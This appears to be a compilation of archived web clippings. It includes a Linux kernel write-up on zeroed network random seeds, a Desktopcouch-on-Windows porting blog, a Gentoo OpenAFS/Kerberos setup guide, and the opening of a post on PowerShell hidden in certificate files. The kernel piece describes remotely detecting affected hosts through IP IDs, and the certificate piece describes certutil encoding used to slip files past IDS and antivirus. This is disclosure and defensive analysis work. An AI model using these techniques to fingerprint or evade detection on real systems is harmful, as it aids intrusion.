    119 } jlstate __initdata_or_module = JL_STATE_START;
    120
    121 __init_or_module void arch_jump_label_transform_static(struct jump_entry *entry,
    122                                       enum jump_label_type type)
    123 {
    124         /*
    125          * This function is called at boot up and when modules are
    126          * first loaded. Check if the default nop, the one that is
    127          * inserted at compile time, is the ideal nop. If it is, then
    128          * we do not need to update the nop, and we can leave it as is.
    129          * If it is not, then we need to update the nop to the ideal nop.
    130          */
    131         if (jlstate == JL_STATE_START) {
    132                 const unsigned char default_nop[] = { STATIC_KEY_INIT_NOP };
    133                 const unsigned char *ideal_nop = ideal_nops[NOP_ATOMIC5];
    134
    135                 if (memcmp(ideal_nop, default_nop, 5) != 0)
    136                         jlstate = JL_STATE_UPDATE;
    137                 else
    138                         jlstate = JL_STATE_NO_UPDATE;
    139         }
    140         if (jlstate == JL_STATE_UPDATE)
    141                 __jump_label_transform(entry, type, text_poke_early, 1);
    142 }
    ...
    
[/code]

If `default_nop` is the same as `ideal_nop` the `memcmp` on line 135 returns
0, putting us in the else branch of the innermost if statement. `jlstate` is
set to `NO_UPDATE` \(line 138\). This means `__jump_label_transform` will
never be called. This makes sense if this function is only ever used to patch
in nops, but for patching in jumps, as we want to do now with the
`net_get_random_once` use case, the patching should happen regardless of
whether `default_nop` and `ideal_nop` are the same or not.

So, when will the `ideal_nop` be the same as the default? First of all, what's
the default? In `arch/x86/include/asm/jump_label.h` we have:

[code]

    #ifdef CONFIG_X86_64
    # define STATIC_KEY_INIT_NOP P6_NOP5_ATOMIC
    #else
    # define STATIC_KEY_INIT_NOP GENERIC_NOP5_ATOMIC
    #endif
    
[/code]

`P6_NOP5_ATOMIC` comes from `p6_nops`. `GENERIC_NOP5_ATOMIC` comes from
`intel_nops`.

Next, what's the ideal? See function `arch_init_ideal_nops` in
`arch/x86/kernel/alternative.c`, and compare with Intel Architecture and
Processor Identification With CPUID Model and Family Numbers.

Our reading is that these will be the affected systems: with x86\_64 kernels,
it seems that p6\_nops are selected as ideal on Intel CPUs manufactured with
the Ivy Bridge process \(model > 48\); with x86 kernels, intel\_nops seem to
be selected as ideal if family < 6 \(i.e., pre-Pentium 2 CPUs\), or if family
== 6 and model matches one of three specific values \(0x1c, 0x26, 0x27\) — if
those models don't have the nopl instruction. It's not clear to us exactly
which CPUs might fall into the latter category.

### Fixing The Bug

It seems the fix could simply have been to add an or-clause to to the final
if-statement \(line 140 above\): `... || type == JUMP_LABEL_ENABLE`. However,
instead the author of this optimization decided to reimplement it in a
different \(more straightforward\) manner — to use the static key
functionality of the kernel in the usual way, rather than \(in his words\)
"abusing" it. The commit was made in May 2014. It was applied to the Ubuntu
trusty kernel tree in June 2014. There was no mention of the security
implications of the bug in the commit message, or elsewhere, so far as we can
tell. It seems that initial discovery of the bug was related to issues it
caused with ephemeral port numbering that impacted the LTSP project. See, for
example, Launchpad Bug \#133067: LTSP boot fails... and this LTSP-discuss
mailing list thread.

### Checking For The Bug

A bit of "proof" that a system is affected is to compile and load a kernel
module that prints the value of one of the secret random seeds. For example,
the accompanying nsprint module prints the value of the kernel's `net_secret`
variable. Results can be viewed with the `dmesg` command. Some results:

  * An example \*affected\* system  
OS: Ubuntu 14.04 / kernel version \(uname -rvm\): 3.13.0-24-generic
\#46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86\_64  
CPU: Intel\(R\) Xeon\(R\) CPU E5-2670 v2 \(family 6, model 62\)

[code]    ~/nsprint$ sudo insmod nsprint.ko

    ~/nsprint$ dmesg | tail -1
    [xxxxxx.yyyyyy] 000000000000000000000000000000000000000000000000000000000000000...
    
[/code]

  * An example \*unaffected\* system \(same hardware, different kernel\)  
OS: Ubuntu 12.04.4 / kernel version \(uname -rvm\): 3.11.0-19-generic
\#33~precise1-Ubuntu SMP Wed Mar 12 21:16:27 UTC 2014 x86\_64  
CPU: Intel\(R\) Xeon\(R\) CPU E5-2670 v2 \(family 6, model 62\)

[code]    ~/nsprint$ sudo insmod nsprint.ko

    ~/nsprint$ dmesg | tail -1
    [xxxxxxx.yyyyyy] 18c8b127324835317963570b05f233dcac3c48d577ed3af66668b6d0937d2b...
    
[/code]

  * Another example \*unaffected\* system \(same kernel, different hardware\)  
OS: Ubuntu 14.04 / kernel version \(uname -rvm\): 3.13.0-24-generic
\#46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86\_64  
CPU: Intel\(R\) Xeon\(R\) CPU E5-2620 \(family 6, model 45\)

[code]    ~/nsprint$ sudo insmod nsprint.ko

    ~/nsprint$ dmesg | tail -1
    [xxxxx.yyyyyy] d37832c21e9daf443e6a3e9396ff740446fb48914aad3626fed609ae33df96e3...
    
[/code]

NB: As mentioned above, `net_secret` isn't the only random seed value that is
affected. There are a number of others that are initialized with
`net_get_random_once`. This is just one example to demonstrate the problem.

### Remote Detection Of Affected Systems

Probably the simplest way to determine whether remote systems are affected is
to look at the ID field in the IP header of packets they send you. For
example, you could do an nmap scan, capture traffic with tcpdump, and look at
the IP IDs. The accompanying program, calcipid.c, calculates the value you
would see from an affected system, given your IP address. Note, however, that
some middleboxes may scrub IP IDs, as permitted by RFC 6864. For example, we
set up an Ubuntu 14.04 64-bit EC2 c3.large instance, confirmed it was affected
locally, but observed 0 in the IP ID field of remotely received packets.

# AppSec EU 2015 Server-side browsing considered harmful

**Created:**| _5/26/2015 3:58:17 PM_  
---|---  
**Updated:**| _5/26/2015 3:59:24 PM_  
**Author:**| __  
**Tags:**| _web-app-sec_  
  
<img src='img/AppSecEU15-Server_side_browsing_considered_harmful.pdf' />

# http://i.imgur.com/b90ZE.jpg

**Created:**| _6/28/2012 8:20:24 AM_  
---|---  
**Updated:**| _6/28/2012 8:20:24 AM_  
**Author:**| __  
**Tags:**| _awesome_  
  
<img src='img/Temp2_10312.jpg' alt='http://i.imgur.com/b90ZE.jpg' />

# Desktopcouch on Windows | Macaque Project
**Created:**| _6/23/2011 1:43:01 PM_  
---|---  
**Updated:**| _6/23/2011 1:43:19 PM_  
**Author:**| __  
**Tags:**| _python Databases programming couchdb_  
  

# Desktopcouch on Windows

by mandel on January 25th, 2010

One of my _“projects”_ for the xmas vacations has been to port Desktopcouch to
Windows. I have ~~two~~ three main reasons for this:

  * I want to be able to sync my data between my Windows machine \(mainly my machine at the office\) and my Linux machines \(all the others\)
  * I want to be able to make my different applications as multiplatform as possible.
  * Should be fun.

In this post I’ll try explain the different changes that I had to be make in
desktopcouch in order to be able to port it to Windows.

## Changing how couchdb is started

As most of you know, desktopcouch allows to start a couchdb per user in the
machine allowing applications to use it as its data storage. The starting of
couchdb in quite straight on Linux. We just have to find the couchdb command
line, and pass as parameter the .ini files to be used. The current code that
does that is the following:

### Getting the couchdb command

[code]

    COUCH_EXE = os.environ.get('COUCHDB')
    if not COUCH_EXE:
        for x in os.environ['PATH'].split(':'):
            if os.path.exists(os.path.join(x, 'couchdb')):
                COUCH_EXE = os.path.join(x, 'couchdb')
    if not COUCH_EXE:
        raise ImportError("Could not find couchdb")
    
[/code]

### Starting the database

[code]

    def run_couchdb(ctx=local_files.DEFAULT_CONTEXT):
        """Actually start the CouchDB process.  Return its PID."""
        pid = read_pidfile(ctx)
        if pid is not None and not process_is_couchdb(pid):
            print "Removing stale, deceptive pid file."
            os.remove(ctx.file_pid)
        local_exec = ctx.couch_exec_command + ['-b']
        try:
            # subprocess is buggy.  Chad patched, but that takes time to propagate.
            proc = subprocess.Popen(local_exec)
            while True:
                try:
                    retcode = proc.wait()
                    break
                except OSError, e:
                    if e.errno == errno.EINTR:
                        continue
                    raise
            if retcode < 0:
                print >> sys.stderr, "Child was terminated by signal", -retcode
            elif retcode 
    >
     0:
                print >> sys.stderr, "Child returned", retcode
        except OSError, e:
            print >> sys.stderr, "Execution failed: %s: %s" % (e, local_exec)
            exit(1)
     
        # give the process a chance to start
        for timeout in (0.4, 0.1, 0.1, 0.2, 0.5, 1, 3, 5):
            pid = read_pidfile(ctx=ctx)
            if pid is not None and process_is_couchdb(pid):
                break
            time.sleep(timeout)
     
        # Loop for a number of times until the port has been found, this
        # has to be done because there's a slice of time between PID being written
        # and the listening port being active.
        for timeout in (0.1, 0.1, 0.2, 0.5, 1, 3, 5, 8):
            try:
                port = desktopcouch.find_port(pid=pid, ctx=ctx) # only returns valid port
                break
            except RuntimeError, e:
                pass
            time.sleep(timeout)
     
        ctx.ensure_files_not_readable()
        return pid, port
    
[/code]

Of course this is not that easy on Windows. If anyone has played around with
couchdb on windows, specially the with the binary package, you will find that
in order to start the database you have to have a batch file doing something
like this \(I borrowed the batch from the couchdb binary package\):

[code]

    @echo off
    rem Licensed under the Apache License, Version 2.0 (the "License"); you may not
    rem use this file except in compliance with the License. You may obtain a copy
    rem of the License at
    rem
    rem   http://www.apache.org/licenses/LICENSE-2.0
    rem
    rem Unless required by applicable law or agreed to in writing, software
    rem distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
    rem WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
    rem License for the specific language governing permissions and limitations
    rem under the License.
    
    setlocal
    rem First change to the erlang bin directory
    cd %~dp0
    
    rem Allow a different erlang executable (eg, werl) to be used.
    if "%ERL%x" == "x" set ERL=erl.exe
    
    echo CouchDB 0.10.0 - prepare to relax...
    %ERL% -smp auto -sasl errlog_type error ^
          -eval "application:load(crypto)" ^
          -eval "application:load(couch)" ^
          -eval "crypto:start()" ^
          -eval "couch_server:start([""../etc/couchdb/default.ini"", ""../etc/couchdb/local.ini""]), receive done -> done end."
    
    
[/code]

As you can image this is not the type of command that is found on Linux, and
therefore we have to make a better solution.

One of the dangers that a developers finds himself when porting an application
like desktopcouch to Windows is the tendency to copy the design decitions used
in Linux. Linux and Windows have complete different programming models and we
should try to make the port as native as possible.

If I were to design desktopcouch from scratch to work on Windows I would do
the following:

  1. Create a Windows Service that will take care of the starting and stopping of the different couchdb processeses. This service will take care of the management of the different processes as well as allowing other applications querying the system.
  2. Provide an API to query the current couchdb process for the user and retrieve the required data.

### Windows Service Implementation

There are two different ways to implement a service that can be used to manage
the couchdb instances:

  * A simple Windows Service \(NT Service\)
  * A Windows service that uses WCF service.

When implementing the service we have to think about what kind of applications
we want to be able to communicate with it. On one hand we have the traditional
Windows Service that can be easily implemented and any application written in
the CLR can easily communicate with it. On the other hand, we can use a more
_“fancy”_ implementation with WCF. WCF allows to implement a service that can
easily use different protocols for communication with not too much effort. I’d
say that in our situation we prefer to use a WCF since we would like as many
different languages and systems to be able to communicate with the service and
not only C\# \(what about python\!\).

Some people might complain because we are using SOA, but SOA does not only
involve Web Services is a broader point of view. In this example we could
argue that being able to start a couchdb instance and returns its port can be
identified as a service. By creating a new service I’m trying to achieve two
different things:

  * Isolate as much diff code as possible from the Linux solution
  * Provide a interop interface that can be used to access the couchdb instance from **any** language.

In summary, in order to simplify the creation of couchdb instance in a Windows
environment we will create a Windows Service that uses WCF to allow the
different client applications to contact the service and request the port and
auth of the db and start it if necessary.

The following code shown the service contract that will be used to allow
client applications to query information regarding the cuchdb instance for the
user. In this step we are not looking at the user, that step is left for the
auth part of the system we are just determining the contract.

[code]

    using System.Runtime.Serialization;
    using System.ServiceModel;
     
    namespace DesktopcouchServie
    {
            /// <summary>
            /// Basic service contract that provides a number of methods that client applications can execute to query the information 
            /// of the couchdb instance of the current user.
            /// </summary>
            [ServiceContract]
            public interface IDesktopcouchService
            {
                    /// <summary>
                    /// This method allow a client application to query the port in which the couchdb instance is executing. 
                    /// </summary>
                    /// <returns>The post in which the couchdb instance can be found.</returns>
                    [OperationContract]
                    string GetCouchdbPort();
     
                    /// <summary>
                    /// This method allows a client to starta couchdb instance for the current user. It is recommended to just allow the
                    /// desktopcouch python
                    /// library to take care of the start of the instance.
                    /// </summary>
                    /// <param name="startUpData">The data to be used to start the couchdb instance.</param>
                    /// <returns>A boolean value that communicates the client that the couchdb instace was started.</returns>
                    [OperationContract]
                    bool StartCouchdbInstance(CouchdbInstanceStartUpData startUpData);
     
                    /// <summary>
                    /// This method allows a client to stop the current instance of couchdb. It is recommended to just 
                    /// allow the desktopcouch python library 
                    /// to take care os stoping the couchdb instance.
                    /// </summary>
                    /// <returns>A boolean value that communicates the client that the couchdb instance was stopped.</returns>
                    [OperationContract]
                    bool StopCouchdbInstance();
     
            }
     
            // Use a data contract as illustrated in the sample below to add composite types to service operations
            [DataContract]
            public class CouchdbInstanceStartUpData
            {
                    #region Properties
     
                    /// <summary>
                    /// Gets and sets the full path of the ini file to be use to start the couchdb instance.
                    /// </summary>
                    [DataMember]
                    public string IniFile { get; set; }
     
                    /// <summary>
                    /// Gets and sets the full path of the file that will be used by the stdout of the couchdb instance.
                    /// </summary>
                    [DataMember]
                    public string OutputFile { get; set; }
     
                    /// <summary>
                    /// Gets and sets the full path of the file that will be used by the stderr of the couchdb instance.
                    /// </summary>
                    [DataMember]
                    public string ErrorFile { get; set; }
     
                    /// <summary>
                    /// Gets and sets the full path of the file that will be used to write the logs of the couchdb instance.
                    /// </summary>
                    [DataMember]
                    public string LogFile { get; set; }
     
                    #endregion
     
            }
    }
    
[/code]

The implementation of the service is very straight forward.The most
interesting part of the code is the one related with the port used by the
process:

[code]

                  #region Get port from PID
     
                    #region Structures
     
                    /// <summary>
                    /// Enumerator that is used to list the different class for the TCP table.
                    /// </summary>
                    public enum TCP_TABLE_CLASS
                    {
                            TCP_TABLE_BASIC_LISTENER,
                            TCP_TABLE_BASIC_CONNECTIONS,
                            TCP_TABLE_BASIC_ALL,
                            TCP_TABLE_OWNER_PID_LISTENER,
                            TCP_TABLE_OWNER_PID_CONNECTIONS,
                            TCP_TABLE_OWNER_PID_ALL,
                            TCP_TABLE_OWNER_MODULE_LISTENER,
                            TCP_TABLE_OWNER_MODULE_CONNECTIONS,
                            TCP_TABLE_OWNER_MODULE_ALL,
                    }
     
                    /// <summary>
                    /// Struct used to show the information of the woner of a TCP connection.
                    /// </summary>
                    [StructLayout(LayoutKind.Sequential)]
                    public struct MIB_TCPROW_OWNER_PID
                    {
                            public uint State;
                            public uint LocalAddr;
                            public byte LocalPort1;
                            public byte LocalPort2;
                            public byte LocalPort3;
                            public byte LocalPort4;
                            public uint RemoteAddr;
                            public byte RemotePort1;
                            public byte RemotePort2;
                            public byte RemotePort3;
                            public byte RemotePort4;
                            public int OwningPid;
                    }
     
     
                    [StructLayout(LayoutKind.Sequential)]
                    public struct MIB_TCPTABLE_OWNER_PID
                    {
                            public uint dwNumEntries;
                            MIB_TCPROW_OWNER_PID table;
                    }
     
                    #endregion
     
                    // We use the funtion from the iphlapi dll to get the talbe f tcp connections.
                    [DllImport("iphlpapi.dll", SetLastError = true)]
                    static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, TCP_TABLE_CLASS tblClass, int reserved);
     
     
                    // Returns an array with the rwos with the dta of the different connecitons.
                    private static MIB_TCPROW_OWNER_PID[] GetAllTcpConnections()
                    {
                            MIB_TCPROW_OWNER_PID[] tTable;
                            // IP_v4
                            var AF_INET = 2;    
                            var buffSize = 0;
     
                            // how much memory do we need?
                            var ret = GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, AF_INET, TCP_TABLE_CLASS.TCP_TABLE_OWNER_PID_ALL, 0);
                            var buffTable = Marshal.AllocHGlobal(buffSize);
     
                            try
                            {
                                    ret = GetExtendedTcpTable(buffTable, ref buffSize, true, AF_INET, TCP_TABLE_CLASS.TCP_TABLE_OWNER_PID_ALL, 0);
                                    if (ret != 0)
                                    {
                                            return null;
                                    }
     
                                    // get the number of entries in the table
                                    var tab = (MIB_TCPTABLE_OWNER_PID) Marshal.PtrToStructure(buffTable, typeof(MIB_TCPTABLE_OWNER_PID));
                                    var rowPtr = (IntPtr) ((long) buffTable + Marshal.SizeOf(tab.dwNumEntries));
     
                                    // buffer we will be returning
                                    tTable = new MIB_TCPROW_OWNER_PID[tab.dwNumEntries];
     
                                    for (var index = 0; index < tab.dwNumEntries; index++)
                                    {
                                            var tcpRow = (MIB_TCPROW_OWNER_PID) Marshal.PtrToStructure(rowPtr, typeof(MIB_TCPROW_OWNER_PID));
                                            tTable[index] = tcpRow;
                                            rowPtr = (IntPtr) ((long) rowPtr + Marshal.SizeOf(tcpRow));
                                    }
     
                            }
                            finally
                            {
                                    // Free the Memory
                                    Marshal.FreeHGlobal(buffTable);
                            }
     
                            return tTable;
                    }
     
                    #endregion
    
[/code]

In order to be able to start a new Couchdb instance we use the Process class
in C\#. But this supposes a problem in the solution. If you start a process
using the Process class the owner of the process will be the process that it
started it, and that is not nice at all. Ideally we would like to have the
process to be owned by the user account that started it. For now this is where
I;m stuck <img src='img/Temp2_2135.gif' alt=':(' /> but will probably have
some more done regarding the start of the process and the move away from
gnome-keyring.

# OpenAFS with MIT Kerberos - Gentoo Linux Wiki

**Created:**| _3/16/2010 10:52:11 AM_  
---|---  
**Updated:**| _3/16/2010 10:52:31 AM_  
**Author:**| __  
**Tags:**| _bookmark Linux Tutorials Lab-Setup Filesystem_  
  

# OpenAFS with MIT Kerberos

Filesystems TOC  
---  
<img src='img/Temp2_5856.png' width='170' height='117' alt='Filesystem.png' />

  * **Filesystem overview**
  * **Journaling filesystems**
    * Ext4
    * Reiser4
  * **Proprietary filesystems**
    * Mounting Windows Partitions
    * NTFS-3G
  * **Virtual filesystems**
    * Initramfs
  * **Network filesystems**
    * NFS
    * Mounting SFTP and FTP shares
    * Samba
    * GlusterFS
    * **OpenAFS with MIT Kerberos**
  * **Encrypted filesystems**
    * TrueCrypt
    * LVM2, DM-Crypt and RAID root
    * DM-Crypt with LUKS
    * AES-encrypted root partition using LVM2
  * **Compressed filesystems**
    * Squashed Portage Tree \(squashfs\)
  * **Volume management**
    * LVM
    * RAID
  * **Filesystems tricks**
    * Using Graphics Card Memory as Swap
    * Automount Swap Early

  
AFS is a distributed network filesystem that also allows for replication.
Organizations such as Google and the Internet Archive have been known to use
AFS \(along with Linux\) for its scalability.

From http://www.openafs.org:

_AFS is a distributed filesystem product, pioneered at Carnegie Mellon
University and supported and developed as a product by Transarc Corporation
\(now IBM Pittsburgh Labs\). It offers a client-server architecture for file
sharing, providing location independence, scalability, security, and
transparent migration capabilities for data._

_IBM branched the source of the AFS product, and made a copy of the source
available for community development and maintenance. They called the release
OpenAFS._

Kerberos offers a network authentication protocol for use in client/server
network topologies. AFS originally implemented a version of Kerberos for its
authentication purposes and was based on the Kerberos v4 protocol. However,
since DES is no longer approved for Federal use, organizations are replacing
AFS's authentication server \(kaserver\) with a Kerberos v5 authentication
server.

## Contents

  * 1 Kerberos Installation
    * 1.1 Primary KDC
    * 1.2 Principal Creation
    * 1.3 Start Kerberos Servers
  * 2 OpenAFS Server
    * 2.1 Configure AFS Cell info
    * 2.2 Bos and Other AFS Servers
    * 2.3 /vicepx partitions
    * 2.4 Starting the openafs server
  * 3 OpenAFS File Structure
    * 3.1 Starting the client
    * 3.2 Create Basic volume framework
    * 3.3 Restarting the client
  * 4 AFS/Kerberos Enabled Login
  * 5 See Also

  
---  
## \[edit\]Kerberos Installation

The first step is to install kerberos on the server and setup a KDC

emerge -a mit-krb5

Since there can be more than one kerberos server working together, kerberos
breaks servers into logical groups called realms. Kerberos realms are always
uppercase, and by convention consist of your domain. You will need to select a
name for your realm, and add to the file on your server:

cp /etc/krb5.conf.example /etc/krb5.conf

**File:** /etc/krb5.conf

[code]

    [libdefaults]
            default_realm = EXAMPLE.COM
    
    [realms]
            EXAMPLE.COM = {
                    admin_server = server.example.com
                    default_domain = example.com
                    kdc = server.example.com
            }
    
    [domain_realm]
            .example.com  = EXAMPLE.COM
            example.com = EXAMPLE.COM
    
    
[/code]

replace "EXAMPLE.COM" above with your kerberos realm, "example.com" with your
domain, and "server.example.com" with your server.

This same file will need to be copied to clients who need to access your
kerberos server.

### \[edit\]Primary KDC

Next, you'll need to create the Key Distribution Center \(KDC\) which is
responsible for housing Kerberos principals, passwords and access control
lists.

Now create a directory for storing the KDC files and databases:

mkdir /var/lib/krb5kdc

**Note:** The path specified here is arbitrary, as it will be later set in
your /etc/kdc.conf. If you choose a different path, do not forget to update
this file.

Now you must create the /etc/kdc.conf file. This will contain the details for
how your KDC will run.

cp /etc/kdc.conf.example /etc/kdc.conf

Edit this file replacing the given realm with your own, and specifying the
path you used above if it differs from /var/lib/krb5kdc. You can edit the
other options if you know what you are doing or have some special need. The
manpage has more information about the file:

man kdc.conf

In order to allow your database to be editable, you need to give principals
access to it. This is done through the kadm5.acl file in the directory you
created above. The most basic configuration allows all principals that have an
instance name of admin \(ends in /admin\) access to everything:

**File:** /var/lib/krb5kdc/kadm5.acl

[code]

    */admin@EXAMPLE.COM *
    
    
[/code]

A more secure way that requires more maintenance is to list the principals
that will have access:

**File:** /var/lib/krb5kdc/kadm5.acl

[code]

    joe/admin@EXAMPLE.COM *
    
    
[/code]

See the kadmind man page for more detail if you need a more complex setup:

man kadmind

Now you are ready to initialize the kerberos database.

cd /var/lib/krb5kdc kdb5\_util create -r EXAMPLE.COM -s

don't forget to replace EXAMPLE.COM with your realm name.

**Note:** If for some reason kdb5\_util takes an usually long time to finish,
your kernel may not have enough entropy or random data used for encryption.
You can use sys-apps/rng-tools to solve this.

### \[edit\]Principal Creation

At this point you should test your Kerberos installation by creating an admin
principal for kerberos and afs administration. You may call it whatever you
like.

kadmin.local kadmin.local: addprinc afsadmin@EXAMPLE.COM kadmin.local:
addprinc afsadmin/admin@EXAMPLE.COM

Now create a principal for afs itself. You will never use this principal, it's
for afs only, so we use -randkey to generate a random key that can be used by
afs.

kadmin.local: addprinc -randkey afs/example.com@EXAMPLE.COM

The example.com above is the afs cell name. Similar to a kerberos realm, an
afs cell is a logical grouping of afs servers. Convention dictates that you
should name your cell after your kerberos realm, but in lowercase, since afs
cell names are always lowercase.

Each afs server needs to have the key that was generated in the last step, so
we export it here:

kadmin.local: ktadd -e des-cbc-crc:normal -k /etc/krb5.keytab.afs
afs/example.com

It is important to remember \(or write down\) the key version number \(kvno\)
that this command gives in its output, you will need it later.

**Note:** You may press Ctrl+d or type q to quit kadmin

### \[edit\]Start Kerberos Servers

You are now ready to start the kerberos kdc and kadmin server.

/etc/init.d/mit-krb5kadmind start /etc/init.d/mit-krb5kdc start

Set them to start at boot:

rc-update add mit-krb5kadmind default rc-update add mit-krb5kdc default

Now that kadmind and the kdc is running, you can use kadmind instead of
kadmind.local.

## \[edit\]OpenAFS Server

You will now need to install net-fs/openafs:

**Use Flags:** **kerberos** \(?\)

emerge -a openafs

### \[edit\]Configure AFS Cell info

You will need to edit several files in /etc/openafs/ to set up your new afs
cell.

**File:** /etc/openafs/server/ThisCell

[code]

    example.com
    
[/code]

**File:** /etc/openafs/server/CellServDB

[code]

    >example.com #Example Cell
    192.168.1.1 #afs.example.com
    
    
[/code]

**Warning:** The part above that looks like a comment: \#afs.example.com, is
required and must contain the hostname of the server for afs to work\!

Put this info in the client configurations too:

cat /etc/openafs/server/CellServDB>>/etc/openafs/CellServDB

cp /etc/openafs/server/ThisCell /etc/openafs/ThisCell

Now that your configurations are correct, you can tell afs what kerberos
principal it needs to use, and what key to use to authenticate:

asetkey add 3 /etc/krb5.keytab.afs afs/example.com

The 3 above should be replaced with the kvno from earlier.

### \[edit\]Bos and Other AFS Servers

BOS is the **B** asic **O** verSeer **S** erver. It coordinates and starts all
of the other afs servers. First you need to start the bosserver manually
without authentication in order to set the server up.

**Warning:** Disabling authorization checking gravely compromises cell
security. You must complete all subsequent steps in one uninterrupted pass and
must not leave the machine unattended until you restart the BOS Server with
authorization checking enabled, according to the official afs documentation

bosserver -noauth

Now that the bosserver is running, you can have it start and configure the
protection server \(for user accounts\) and the volume location server:

bos create afs.example.com ptserver simple /usr/libexec/openafs/ptserver -cell
example.com -noauth bos create afs.example.com vlserver simple
/usr/libexec/openafs/vlserver -cell example.com -noauth

with these started you can add your admin user to the afs user database and
make it an afs admin:

pts createuser -name afsadmin -cell example.com -noauth pts adduser afsadmin
system:administrators -cell example.com -noauth bos adduser afs.example.com
afsadmin -noauth

Setup the final few services:

bos create afs.example.com fs fs /usr/libexec/openafs/fileserver \
/usr/libexec/openafs/volserver /usr/libexec/openafs/salvager \ -cell
example.com -noauth

Stop the temporary \(and insecure\) bosserver:

bos shutdown afs.example.com -wait -noauth

killall -9 bosserver

**Note:** bos shutdown does not actually stop the bosserver itself, just all
of the other servers \(ptserver, etc.\). Please remember to kill the temporary
server before trying to start another bosserver.

### \[edit\]/vicepx partitions

The afs fileserver stores its volumes on partitions mounted in the root
directory as /vicepa, /vicepb, etc. Before you start the afs server through
the initscripts, you should create and mount a partition at /vicepa.

### \[edit\]Starting the openafs server

You are now ready to start the OpenAFS server for the first time:

/etc/init.d/openafs-server start

To have it start at boot, which you probably want:

rc-update add openafs-server default

## \[edit\]OpenAFS File Structure

In order to set up the file structure, a client has to run that can connect to
your server. It is easiest to do this if the client is run on the server, as
it will help while setting things up.

### \[edit\]Starting the client

Before starting the client for the first time, it is necessary to disable
DYN\_ROOT, in order to set up the root.afs volume:

**File:** /etc/conf.d/openafs-client

[code]

    ENABLE_DYNROOT="no"
    
[/code]

Start the client:

/etc/init.d/openafs-client start

### \[edit\]Create Basic volume framework

**Note:** If your AFS Cell name is not the same as your Kerberos realm, you
must create/etc/openafs/krb.conf \(and /etc/openafs/server/krb.conf\). The
format of the file is one Kerberos realm per line. This allows for one \(or
more\) Kerberos realms to authenticate with an AFS cell that does not match
the Kerberos realm name. Otherwise, you can authenticate, get an AFS token,
and will be left wondering why you get authorization errors.

Authenticate to kerberos:

kinit afsadmin

Use the kerberos authentication to authenticate to afs:

aklog

You can now run commands as the afs admin. You need to create the root.afs
volume which when DYN\_ROOT is disabled, is normally mounted on/afs

vos create afs.example.com /vicepa root.afs -cell example.com

**Note:** Any filesystem mounted under a directory called /vicepx, where x is
in the range of a-z, will be considered and used as an AFS Server partition.
Any unix filesystem will do \(as opposed to the client's cache, which can only
be ext2/3\). Tip: the server checks for each /vicepx mount point whether a
filesystem is mounted there. If not, the server will not attempt to use it.
This behaviour can be overridden by putting a file named AlwaysAttach in this
directory.

With DYN\_ROOT disabled, you can now make /afs readable to everyone with:

fs sa /afs system:anyuser rl

Now you can create the root volume for your cell \(which will be the basis for
your whole AFS File Structure\):

vos create afs.example.com /vicepa root.cell

Mount it on /afs/example.com:

fs mkmount /afs/example.com root.cell

Make sure your cell's contents are readable too:

fs setacl /afs/example.com system:anyuser rl

Mount a read-write copy on /afs/.example.com:

fs mkmount /afs/.<cell name> root.cell -rw

Other volumes can be mounted underneath the root of your cell in the same way,
if you wish.

Congratulations, you now have a full AFS server\!

### \[edit\]Restarting the client

You may want to set DYN\_ROOT back to yes:

**File:** /etc/conf.d/openafs-client

[code]

    ENABLE_DYNROOT="yes"
    
[/code]

You then need to restart your client:

/etc/init.d/openafs-client restart

## \[edit\]AFS/Kerberos Enabled Login

In order to authenticate to kerberos and get an afs token when logging in, you
need to install and configure sys-auth/pam\_krb5 and sys-auth/pam-afs-session:

emerge -a pam\_krb5 pam-afs-session

You will also need to edit your PAM configuration files. It should look
something like this when you are done:

**File:** /etc/pam.d/system-auth

[code]

    auth required pam_env.so
    auth sufficient pam_krb5.so
    auth optional pam_afs_session.so program=/usr/bin/aklog
    auth sufficient pam_unix.so try_first_pass likeauth nullok
    auth required pam_deny.so
    
    account sufficient pam_krb5.so
    account required pam_unix.so
    
    password required pam_cracklib.so difok=2 minlen=8 dcredit=2 ocredit=2 retry=3
    password sufficient pam_krb5.so use_authtok ignore_root
    password sufficient pam_unix.so nullok md5 shadow use_authtok
    password required pam_deny.so
    
    session required pam_limits.so
    session optional pam_krb5.so ignore_root debug
    session required pam_afs_session.so program=/usr/bin/aklog
    session required pam_unix.so
    
    
[/code]

**Warning:** Be VERY careful when editing this file. You could lock yourself
from being able to log in. It is advisable to leave a root terminal open while
making sure you can still log in after editing this file, so that you can
change it back. For example:

ssh localhost

## \[edit\]See Also

  * Guide From Old Wiki
  * Official Gentoo OpenAFS docs \(not mit-krb5\)

# PowerShell Inside a Certificate? – Part 1

**Created:**| _9/23/2018 8:44:40 AM_  
---|---  
**Updated:**| _9/23/2018 8:44:40 AM_  
**Author:**| _wishi_  
**Tags:**| _pentest red\_team_  
  

  

# PowerShell Inside a Certificate? – Part 1

 Didier Stevens  IDS, malware  July 31, 2018

With the help of a specifically crafted YARA rule developed by NVISO analysts,
we found multiple certificate files \(.crt\) that do not contain a
certificate, but instead a malicious PowerShell script. In this blog post, we
explain how we crafted this YARA rule.

**Certificates**

Certificate files in Windows can have different extensions, like .cer and
.crt, and usually, .cer files contain binary data and .crt files ASCII data.
But as happens more with Microsoft applications and utilities, these
extensions can be interchanged and the applications will still process the
certificate files correctly \(they look at the content and parse it
accordingly\).

For the purpose of this blog post, we’ll stick to the convention: a .cer file
contains binary data and a .crt file contains ASCII data.  
A .cer file contains the certificate data encoded according to the
Distinguished Encoding Rules \(DER\), an encoding format specified in the
X.690 standard. Here is an example of a .cer file found in Microsoft Office’s
installation directories:

<img src='img/20180716-120137.png' width='740' height='304'
alt='20180716-120137' />  
A .crt file contains ASCII data: a BASE64 encoding of a .cer file \(DER
encoding\). These files start with “—–BEGIN CERTIFICATE—–” and end with “—–END
CERTIFICATE—–“, with BASE64 encoded data in between, according to RFC 7468.
Here is an example of a .crt file created from the previous .cer file with
certutil:

<img src='img/20180716-120223.png' width='740' height='288'
alt='20180716-120223.png' />

**\(Ab\)using certutil**

Certutil is a versatile Windows executable, used to perform all kinds of
operations with certificates and services. Since Casey Smith Tweeted about
certutil BASE64 decoding and encoding, red teams and criminals have been using
this encoding to get all kind of files past IDS and AV.  
certutil does not perform validation of the binary data it is encoding: it
will encode any file. Windows executables \(PE files\) can be easily encoded
